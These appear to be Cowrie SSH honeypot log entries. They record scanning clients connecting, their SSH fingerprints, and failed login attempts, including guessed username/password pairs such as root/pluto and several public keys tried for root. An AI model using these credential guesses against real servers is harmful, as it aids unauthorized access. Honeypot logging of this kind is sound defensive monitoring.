{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:17.678587Z","src_ip":"27.79.1.70","session":"3d3fabe3ccd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":32820,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ab8a654d59f","protocol":"ssh","message":"New connection: 103.98.149.87:32820 (159.203.135.109:22) [session: 9ab8a654d59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:21.223535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:21.280383Z","src_ip":"103.98.149.87","session":"9ab8a654d59f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:21.505540Z","src_ip":"103.98.149.87","session":"9ab8a654d59f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nazarov","message":"login attempt [root/nazarov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:22.585358Z","src_ip":"103.98.149.87","session":"9ab8a654d59f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:24.080130Z","src_ip":"103.98.149.87","session":"9ab8a654d59f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":35982,"dst_ip":"159.203.135.109","dst_port":22,"session":"28bfb184d968","protocol":"ssh","message":"New connection: 20.203.42.204:35982 (159.203.135.109:22) [session: 28bfb184d968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:44.009751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:44.015057Z","src_ip":"20.203.42.204","session":"28bfb184d968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:44.179713Z","src_ip":"20.203.42.204","session":"28bfb184d968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmpuser","password":"tmpuser","message":"login attempt [tmpuser/tmpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:44.888401Z","src_ip":"20.203.42.204","session":"28bfb184d968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:46.061416Z","src_ip":"20.203.42.204","session":"28bfb184d968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":43290,"dst_ip":"159.203.135.109","dst_port":22,"session":"081973ad2132","protocol":"ssh","message":"New connection: 103.107.60.45:43290 (159.203.135.109:22) [session: 081973ad2132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:49.921160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:49.925961Z","src_ip":"103.107.60.45","session":"081973ad2132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:50.143570Z","src_ip":"103.107.60.45","session":"081973ad2132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1","message":"login attempt [user1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:51.030899Z","src_ip":"103.107.60.45","session":"081973ad2132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:52.248957Z","src_ip":"103.107.60.45","session":"081973ad2132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":53644,"dst_ip":"159.203.135.109","dst_port":22,"session":"85df6008aa6f","protocol":"ssh","message":"New connection: 121.168.139.251:53644 (159.203.135.109:22) [session: 85df6008aa6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:06.302676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:06.309309Z","src_ip":"121.168.139.251","session":"85df6008aa6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:06.512356Z","src_ip":"121.168.139.251","session":"85df6008aa6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.186.87","src_port":50400,"dst_ip":"10.17.0.5","dst_port":22,"session":"91d763f0fc26","protocol":"ssh","message":"New connection: 102.129.186.87:50400 (10.17.0.5:22) [session: 91d763f0fc26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:07.336239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:07.341282Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pluto","message":"login attempt [root/pluto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:07.354196Z","src_ip":"121.168.139.251","session":"85df6008aa6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:07.468676Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:af:c8:70:7c:48:f4:b2:92:29:a5:a6:8a:a9:f0:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzFbtLuoF+YyQW0nu+qRJ1+sweiEs2jB8qTbRlXFXLBk+MJ+U8KaYngQ4xsPRHWCjzRwkoQIUDu/2sAhKgqs4AQnR9Hbb5yKGvVXefbEj27yZ7hTAFMAdiEvLqw2Em793SQGKn//WtMUihzcmxjKRkHN7Wc/1cKa8roQOi5+spKRKQ/lKr5I6SXqtFbsOaYNnxmv58vfEkemQ52ihbszyltX+xogNTX9DCBN580mBdR/lHEDP52/kUorv9HPrxvOvamEiY9GdHbzo+J4FxpmJ1/S2OAcgYG52TPg/5XN1Blr0mfV+8IKgZFVXhdPe0UN1GRBn1gIFz9v/45IGjR2GzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:af:c8:70:7c:48:f4:b2:92:29:a5:a6:8a:a9:f0:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.083084Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:af:c8:70:7c:48:f4:b2:92:29:a5:a6:8a:a9:f0:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzFbtLuoF+YyQW0nu+qRJ1+sweiEs2jB8qTbRlXFXLBk+MJ+U8KaYngQ4xsPRHWCjzRwkoQIUDu/2sAhKgqs4AQnR9Hbb5yKGvVXefbEj27yZ7hTAFMAdiEvLqw2Em793SQGKn//WtMUihzcmxjKRkHN7Wc/1cKa8roQOi5+spKRKQ/lKr5I6SXqtFbsOaYNnxmv58vfEkemQ52ihbszyltX+xogNTX9DCBN580mBdR/lHEDP52/kUorv9HPrxvOvamEiY9GdHbzo+J4FxpmJ1/S2OAcgYG52TPg/5XN1Blr0mfV+8IKgZFVXhdPe0UN1GRBn1gIFz9v/45IGjR2GzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.087467Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:3b:7b:47:e2:8e:06:7b:a2:eb:4b:06:27:bc:56:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmAIX64QvvdbKh6UZhizEe9+98eB3X1ygAuV7ASd9z1lC0QxZSk13J56SGcbm9wv2LYwZsG5BIbjc5EsjXpM2umSHusNZrklCxXt+8IuWZgS2jmxp6t+FwEoOsX9PsXa6SI0JC0U/YngTJuqOngTDvqP1jf14oWmF7GOkWJLS1d/lD6uPiTX7+VYVJUSykhHHyBgVtgVkQo7osn58spmt7QBeLCgxIFBM4455E/qyWm6Xc9ElIXRBfSx8kVihn6fPgiCQy/5EF6fKq6EdP7yDysy1uFsEgfK/oweuYONAcYSuBj//Q4L45rfZme/5C7wQQWEwOFhG6bm0x0mLvkEub","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:3b:7b:47:e2:8e:06:7b:a2:eb:4b:06:27:bc:56:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.215056Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:3b:7b:47:e2:8e:06:7b:a2:eb:4b:06:27:bc:56:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmAIX64QvvdbKh6UZhizEe9+98eB3X1ygAuV7ASd9z1lC0QxZSk13J56SGcbm9wv2LYwZsG5BIbjc5EsjXpM2umSHusNZrklCxXt+8IuWZgS2jmxp6t+FwEoOsX9PsXa6SI0JC0U/YngTJuqOngTDvqP1jf14oWmF7GOkWJLS1d/lD6uPiTX7+VYVJUSykhHHyBgVtgVkQo7osn58spmt7QBeLCgxIFBM4455E/qyWm6Xc9ElIXRBfSx8kVihn6fPgiCQy/5EF6fKq6EdP7yDysy1uFsEgfK/oweuYONAcYSuBj//Q4L45rfZme/5C7wQQWEwOFhG6bm0x0mLvkEub","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.219921Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:16:23:f4:b8:1f:f2:fe:6b:1c:c6:d4:f5:14:14:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdDM2iGFPdv2tbNRKHGRPFYBMFTphfrV8JDZveEE88vveZiY91ITjjj9WqCWko/IaDfVhKE1RqqnQieORPDsKOzefE7f2t5LMFXmrLqByi/Ocp02bvG2GHsVB3rR781RVWDW9KpaoJzKifvRmFEXidH4Ibl6CpsXa5cDrwb5b/q5uYYvjtLcikMMHrTCuqaFFazxvKr2WxoN4ElFQVboFqB+fwmz+eChsXmF6oF3p1Gox4Khf/a0yUBkInlOkdgzhsbGum9ED45Kj2WsYWQxBWPgyssh/MdPdDv5QTFhRtX8S6iO4Tcfb2Lanw497rFRP6YrL2p1TCK/jb3SwejGax","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:16:23:f4:b8:1f:f2:fe:6b:1c:c6:d4:f5:14:14:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.349948Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:16:23:f4:b8:1f:f2:fe:6b:1c:c6:d4:f5:14:14:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdDM2iGFPdv2tbNRKHGRPFYBMFTphfrV8JDZveEE88vveZiY91ITjjj9WqCWko/IaDfVhKE1RqqnQieORPDsKOzefE7f2t5LMFXmrLqByi/Ocp02bvG2GHsVB3rR781RVWDW9KpaoJzKifvRmFEXidH4Ibl6CpsXa5cDrwb5b/q5uYYvjtLcikMMHrTCuqaFFazxvKr2WxoN4ElFQVboFqB+fwmz+eChsXmF6oF3p1Gox4Khf/a0yUBkInlOkdgzhsbGum9ED45Kj2WsYWQxBWPgyssh/MdPdDv5QTFhRtX8S6iO4Tcfb2Lanw497rFRP6YrL2p1TCK/jb3SwejGax","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.354126Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:4b:bc:4f:4f:01:a3:7e:20:f0:27:b8:75:77:8b:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxgSzTqEmlNEKIHpXPjG2Vwf1v+gln+sgrw6vEVHiMzEqbmfeWwGpjpWKD66Y1SG5tYaYtxBdgRSTAmHbsg9XnUa4JdsC9xPfQ8ff8W589cQdNRBSSNJ4vKi6x15jJ0z84j+bWus3/Gd7MsMzjLDs5pdy3kHt3LIbX3Elbh8f0AuyDjPu9nV5oCzWKPOrkFKtIhS9hpQ/5okuzViWwu6YawbprG5Ej/DqPaBDb2DBPrba0GChyLGOBzFah1/Qywh1fhGal1zP0UbOMxyP5qrAIBPNg46U8zKWyh4lRcw7MgE7pJhTGa3VAKDH4qV5wffXOp/iWae3EGtBrVwXCRPNh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:4b:bc:4f:4f:01:a3:7e:20:f0:27:b8:75:77:8b:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.481600Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:4b:bc:4f:4f:01:a3:7e:20:f0:27:b8:75:77:8b:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxgSzTqEmlNEKIHpXPjG2Vwf1v+gln+sgrw6vEVHiMzEqbmfeWwGpjpWKD66Y1SG5tYaYtxBdgRSTAmHbsg9XnUa4JdsC9xPfQ8ff8W589cQdNRBSSNJ4vKi6x15jJ0z84j+bWus3/Gd7MsMzjLDs5pdy3kHt3LIbX3Elbh8f0AuyDjPu9nV5oCzWKPOrkFKtIhS9hpQ/5okuzViWwu6YawbprG5Ej/DqPaBDb2DBPrba0GChyLGOBzFah1/Qywh1fhGal1zP0UbOMxyP5qrAIBPNg46U8zKWyh4lRcw7MgE7pJhTGa3VAKDH4qV5wffXOp/iWae3EGtBrVwXCRPNh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.486212Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.561510Z","src_ip":"121.168.139.251","session":"85df6008aa6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:d0:ae:00:68:48:65:e6:94:b0:e8:c2:cd:2e:36:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzBYKkcgWiZpWmYMv2JsjwpPpvWKtuF2n8zLKbYOjPgqlwzTWW2rmWTcnPYLf3E8aHP01zUNzsQ0Q1qaoJJ3z9mjVPjBShkheV0DkL2SQvQGXFz1WGMGd4aT3A69roCm23P9cu/hLU66ky+1uBBXcxi9g9N3Rp80IshiehQSOEcbHsZPekDBjdf0c8fNfjdaJV8Avj8MHEGAZB/+tEnpG9L+ZKc+d+tF6edltdFza/QM1OAz4eXH3twZNNHVrv8NaAW4ZJFuLqfAy8PTEIa6HXKvimrSZiQpcDhFr6PXwwwB4NFkJhot7Px72Y1odIR3PqDaX1mkEBDV+FYEEGlXV9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:d0:ae:00:68:48:65:e6:94:b0:e8:c2:cd:2e:36:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.613817Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:d0:ae:00:68:48:65:e6:94:b0:e8:c2:cd:2e:36:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzBYKkcgWiZpWmYMv2JsjwpPpvWKtuF2n8zLKbYOjPgqlwzTWW2rmWTcnPYLf3E8aHP01zUNzsQ0Q1qaoJJ3z9mjVPjBShkheV0DkL2SQvQGXFz1WGMGd4aT3A69roCm23P9cu/hLU66ky+1uBBXcxi9g9N3Rp80IshiehQSOEcbHsZPekDBjdf0c8fNfjdaJV8Avj8MHEGAZB/+tEnpG9L+ZKc+d+tF6edltdFza/QM1OAz4eXH3twZNNHVrv8NaAW4ZJFuLqfAy8PTEIa6HXKvimrSZiQpcDhFr6PXwwwB4NFkJhot7Px72Y1odIR3PqDaX1mkEBDV+FYEEGlXV9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.618430Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:08.749265Z","src_ip":"102.129.186.87","session":"91d763f0fc26","protocol":"ssh"}
